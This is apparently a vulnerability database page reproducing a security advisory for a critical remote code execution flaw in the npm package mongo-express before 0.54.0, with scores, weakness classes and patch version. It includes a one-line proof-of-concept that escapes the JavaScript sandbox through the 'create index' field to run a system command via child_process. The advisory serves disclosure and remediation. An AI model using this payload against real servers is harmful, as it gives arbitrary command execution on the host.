Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-h47j-hc6x-h3qq

Опубликовано: 30 дек. 2019
Источник: github
Github: Прошло ревью
CVSS3: 9.9

Описание

Remote Code Execution Vulnerability in NPM mongo-express

Impact

Remote code execution on the host machine by any authenticated user.

Proof Of Concept

Launching mongo-express on a Mac, pasting the following into the "create index" field will pop open the Mac calculator:

this.constructor.constructor("return process")().mainModule.require('child_process').execSync('/Applications/Calculator.app/Contents/MacOS/Calculator')

Patches

Users should upgrade to version 0.54.0

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

For more information

If you have any questions or comments about this advisory:

Thanks

@JLLeitschuh for finding and reporting this vulnerability

This vulnerability has been exploited in the wild.

Пакеты

Наименование

mongo-express

npm
Затронутые версииВерсия исправления

< 0.54.0

0.54.0

EPSS

Процентиль: 100%
0.94361
Критический

9.9 Critical

CVSS3

Дефекты

CWE-78
CWE-94

Связанные уязвимости

CVSS3: 9.9
nvd
около 6 лет назад

mongo-express before 0.54.0 is vulnerable to Remote Code Execution via endpoints that uses the `toBSON` method. A misuse of the `vm` dependency to perform `exec` commands in a non-safe environment.

CVSS3: 10
fstec
больше 6 лет назад

Уязвимость веб-интерфейса Mongo-express системы управления базами данных MongoDB, позволяющая нарушителю выполнить произвольный код в целевой системе посредством отправки специально сформированного запроса

EPSS

Процентиль: 100%
0.94361
Критический

9.9 Critical

CVSS3

Дефекты

CWE-78
CWE-94